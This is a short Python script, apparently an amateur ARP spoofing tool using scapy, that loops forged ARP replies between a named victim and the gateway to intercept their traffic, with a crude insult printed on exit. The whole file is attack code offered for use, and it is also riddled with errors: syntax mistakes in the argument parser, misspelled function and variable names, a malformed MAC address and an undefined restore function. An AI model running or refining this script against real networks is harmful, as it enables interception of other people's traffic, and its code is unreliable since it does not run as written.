#1
#!/usr/bin/env python
from scapy.all import scapy
import argparse
import time
import sys



def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target" dest="target", help="Specify Target / Especifica la victima")
    parser.add_argument("-g", "--gateway" dest="gateway", help "Specify the gateway / Especifica la puerta")
    return parser.parse_args()


def get_mac(ip):
    arp_packet = scapy.ARP(pdst=ip)
    broadcast_packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff:ff")
    arp_broadcast = broadcast_packet/arp_packet
    answered_list = scapy.srp(arp_broadcast_packet, timeout=1, verbose=False)[0]
    return aswered_list[0][1].hwdsrc


def spoff(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

arguments = get_arguments()
sent_packets = 0
try:
    while True:
        spoof(arguments.tar get, arguments.gateway)
        spoof(arguments.gateway, arguments.target)
        sent_packets+=2
        print("\r[EMPIRE]: Sent packets: " + (sent_packets))
        sys.stdout.flush()
        time.sleep(2)

except KeyboardInterrupt:
    print("[EMPIRE]: Control C detected, you son of a bitch little pussy")
    restore(arguments.target,arguments_gateway)
    restore(arguments.gateway, arguments_target)